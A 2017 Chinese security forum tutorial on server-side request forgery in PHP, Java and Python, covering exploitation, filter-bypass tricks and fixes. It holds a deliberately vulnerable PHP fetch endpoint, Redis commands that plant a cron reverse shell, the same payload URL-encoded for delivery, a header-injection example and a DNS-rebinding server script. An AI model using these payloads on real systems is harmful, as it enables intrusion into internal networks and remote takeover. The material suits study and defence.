SSRF漏洞(原理&绕过姿势)

2017-07-15 03:54:08 44 77192 6


[+] Author: Hope
[+] Team: 希望Team

0x00 前言
文章不足之处,望多指正。

0x01 概述

SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。
利用SSRF能实现以下效果:
1)        扫描内网(主机信息收集,Web应用指纹识别)
2)        根据所识别应用发送构造的Payload进行攻击
3)        Denial of service

0x02 漏洞利用

a)      SSRF in PHP

1.        环境搭建

<?PHP
        $URL = $_GET['URL'];
        $CH = CURL_INIT();
        CURL_SETOPT($CH, CURLOPT_URL, $URL);
        CURL_SETOPT($CH, CURLOPT_HEADER, FALSE);
        CURL_SETOPT($CH, CURLOPT_RETURNTRANSFER, TRUE);
        CURL_SETOPT($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
        // 允许302跳转
        CURL_SETOPT($CH, CURLOPT_FOLLOWLOCATION, TRUE);
        $RES = CURL_EXEC($CH);
        // 设置CONTENT-TYPE
        HEADER('CONTENT-TYPE: IMAGE/PNG');
        CURL_CLOSE($CH) ;
        //返回响应
        ECHO $RES;
?>


方便大家更直观了解,上述代码用来模拟ssrf,使用curl发起网络请求然后返回客户端,这里我请求加载图片



2.        利用方式

一般发起网络请求中会使用libcurl库,来看下它所支持的协议




除了http/https,还有一些可利用的协议如下
        DICT



除了泄露安装软件版本信息,还可以查看端口,操作内网redis服务等


        File



        Gopher
万能协议(利用Gopher攻击Redis、攻击Fastcgi 等

        FTP(S)/SMB(S)
匿名访问及爆破

        Tftp
UDP协议  发送UDP数据包

        Telnet
SSH/Telnet匿名访问及爆破




3.        总结
file_get_contents()
fsockopen()
curl_exec()

以上三个函数使用不当会造成SSRF漏洞

大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 URLencode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
curl_exec() //默认不跟踪跳转,
file_get_contents() // file_get_contents支持php://input协议


修复方案:
•        限制协议为HTTP、HTTPS
•        禁止30x跳转
•        设置URL白名单或者限制内网IP

需要注意的是,回显是能否成功利用的重要的条件,在某些场景协议限定为HTTP模式且没有回显,利用
会相对复杂了。

b)        SSRF in Java
1.        环境搭建



编写脚本扫描内网开放端口的主机



通过ssrf 探测到内网中redis服务器 ‘172.19.0.2:6379’正常访问

构造脚本写入 目录‘/etc/crontab‘
```
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
```

进行url编码:
```
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
```

反弹shell




2.        利用方式
网络请求支持的协议如下
http,https,file,ftp,mailto,jar,netdoc
对比php的ssrf,java这块利用相对局限,

3.        总结

以下几种类引用不当会造成SSRF
Request类,URL类的openStream,HttpClient类,URLConnection和HttpURLConnection类,
修复方案:
•        限制协议为HTTP、HTTPS
•        不用限制302重定向
•        设置URL白名单或者限制内网IP

c)        SSRF in Python
1.        环境搭建
HTTP Header Injection in Python urllib  ,
当使用了Python 的urllib库,请求url为用户可控时,就可能存在ssrf漏洞,且可以通过漏洞python urllib http头注入实现对内网未授权仿问的redis 服务器getshell
Python 测试脚本代码:test.py
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)
测试一下通过http头注入来向redis写入普通的文本:

./test.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo


GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close

2.        漏洞利用
通过Redis的通讯协议来突破空格的限制:(具体利用参考链接下方
3.        总结
修复方案:
1.        解析目标URL,获取其Host
2.        解析Host,获取Host指向的IP地址
3.        检查IP地址是否为内网IP
4.        请求URL
5.        如果有跳转,拿出跳转URL,执行1

0x03 挖掘漏洞
对外发起网络请求的地方都可能存在SSRF漏洞,列举
图片加载下载,分享页面,在线翻译,未公开的api(从远程服务器请求资源
文件处理,编码处理, 属性信息处理,
        Ffpmg
        ImageMaic
        
数据库内置功能
        PostgreSQL
        MongoDB
        CouchDB



0x04 绕过技巧
@
添加端口号
短网址绕过
指向任意IP的域名xip.io
10.0.0.1.xip.io   resolves to   10.0.0.1
www.10.0.0.1.xip.io   resolves to   10.0.0.1
mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1
IP限制绕过
十进制转换 八进制转换 十六进制转换  不同进制组合转换
协议限制绕过
栗子
当url协议限定只为http(s)时,可以利用follow redirect 特性
构造302跳转服务,
结合dict:// file:// gopher://

DNS rebinding
DNS重绑定可以利用于ssrf绕过 ,bypass 同源策略等,,,这里介绍三种方法
1.        特定域名实现TTL=0
2.        域名绑定两条A记录




1/4的概率,当第一次解析为外网ip,第二次解析为内网ip,就会成功。
3.        自建DNS服务器
步骤如下:添加一条ns记录和一条a记录




Ns记录表示这个子域名test.h0pe.site指定由ns.h0pe.site域名服务器解析,
A记录表示ns.h0pe.site位置在ip地址xxx.xxx.xxx.xxx上
在这个ip地址上搭建DNS服务器,采用python库中的twisted库中的name模块,核心代码如下:
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

    def _doDynamicResponse(self, query):
        name = query.name.name

        if name not in record or record[name]<1:
            ip="104.160.43.154"
        else:
            ip="171.18.0.2"

        if name not in record:
            record[name]=0
        record[name]+=1

        print name+" ===> "+ip

        answer = dns.RRHeader(
            name=name,
            type=dns.A,
            cls=dns.IN,
            ttl=0,
            payload=dns.Record_A(address=b'%s'%ip,ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional

    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))

def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )

    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()



if __name__ == '__main__':
    raise SystemExit(main())
Root 权限运行,

0x05参考

http://blog.safebuff.com/2016/07/03/SSRF-Tips/
http://wavr.feei.cn/SSRF/
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
http://bendawang.site/article/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93
https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2
https://security.tencent.com/index.php/blog/msg/106

TCV=1


PS:有没有在郑州工作的表哥,公司里招不招暑期实习生?有的话可以pm下,感谢

关于作者

ihope16篇文章416篇回复

菜????

评论44次

要评论?请先  登录  或  注册